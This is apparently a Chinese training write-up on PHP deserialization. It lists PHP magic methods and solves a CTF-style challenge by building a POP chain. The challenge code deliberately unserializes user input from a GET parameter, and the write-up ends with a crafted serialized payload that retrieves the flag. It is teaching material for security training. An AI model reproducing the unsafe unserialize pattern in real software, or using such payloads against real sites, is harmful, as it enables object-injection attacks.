前言

最近有一个培训，需要整理一些ppt，关于PHP反序列化的PPT,正好需要尽可能详细的介绍一下漏洞触发原理，本地搭个环境给大家介绍一下，所以简单介绍一下

有关的魔术方法

  __construct： 在创建对象时候初始化对象，一般用于对变量赋初值，当对象创建(new)时会自动调用。
  __destruct： 和构造函数相反，当对象所在函数调用完毕后执行，当对象被销毁时会自动调用,对象消亡时，自动被调用，用来释放对象占用的空间。
  __wakeup:反序列化恢复对象之前调用该方法，unserialize()时会自动调用
  __sleep():序列化对象之前就调用此方法(其返回需要一个数组)
  __call():当调用对象中不存在的方法会自动调用该方法
  __callStatic():在静态上下文中调用不可访问的方法时触发
  __get():用于从不可访问的属性读取数据，在不可访问的属性上调用isset()或empty()，在不可访问的属性上使用unset()时触发
  __set():用于将数据写入不可访问的属性
  __isset():在不可访问的属性上调用isset()或empty()触发
  __unset():在不可访问的属性上使用unset()时触发
  __toString():把类当作字符串使用时触发
  __invoke():当脚本尝试将对象调用为函数时触发

序列化和反序列化

POP链构造

<?php
class A {
    public $a;
    public function funa($a1){
        echo $a1;
    }
}

class B {
    public $b;
    public function funb($b1){
        $this->$b->funa($b1);
    }
}

class C {
    public $c;
    public function func($c1){
        $this->$c->funb($c1);
    }
}

highlight_file(__FILE__);
error_reporting(0);
$pop = $_GET['pop'];
$argv = $_GET['argv'];
$class = unserialize($pop);
$class->func($argv);
if($argv==flag){
    require "flag.php";
}
?>

根据题目分析主要在于实现A类中的执行语句，GET传入参数pop以及argv传入参数值为flag

类C调用函数类B调用函数类A。那么根据这个顺序可以构造以下的pop链

new C()

'$this->$c->funb($c1)'调用的是类B的funb()方法,实例化类B

$this->$c=new B()

同理实例化类A,"$this->$b->funa($b1)"调用的是类A的funa()方法

$this->$c->$b=new A()

调试一下并且验证一下输出，代码如下：

<?php
class A {
    public $a;
    public function funa($a1){
        echo $a1;
    }
}

class B {
    public $b;
    public function funb($b1){
        $this->$b->funa($b1);
    }
}

class C {
    public $c;
    public function func($c1){
        $this->$c->funb($c1);
    }
}

$pop=new C();
$pop->$c=new B();
$pop->$c->$b = new A();
$pop->$c->$b->funa(1);
?>

成功输出"1"

根据此pop链，序列化的代码如下：

<?php
class A {
    public $a;
    public function funa($a1){
        echo $a1;
    }
}

class B {
    public $b;
    public function funb($b1){
        $this->$b->funa($b1);
    }
}

class C {
    public $c;
    public function func($c1){
        $this->$c->funb($c1);
    }
}

$pop=new C;
$pop->$c=new B;
$pop->$c->$b = new A;
echo serialize($pop);
?>

得到序列化结果

1
O:1:"C":2:{s:1:"c";N;s:0:"";O:1:"B":2:{s:1:"b";N;s:0:"";O:1:"A":1:{s:1:"a";N;}}}

构造payload如下

pop=O:1:"C":2:{s:1:"c";N;s:0:"";O:1:"B":2:{s:1:"b";N;s:0:"";O:1:"A":1:{s:1:"a";N;}}}&argv=flag

拿到flag

这里需要注意的是序列化的代码在php版本低于7.3的条件下都会报错，无法正常输出。在构造序列化的payload的时候一直无法成功输出，在调试的过程中在第二步实例化对象的时候一直报错，php的版本当时调试到7.0的版本也是报错，这里需要php版本大于7.3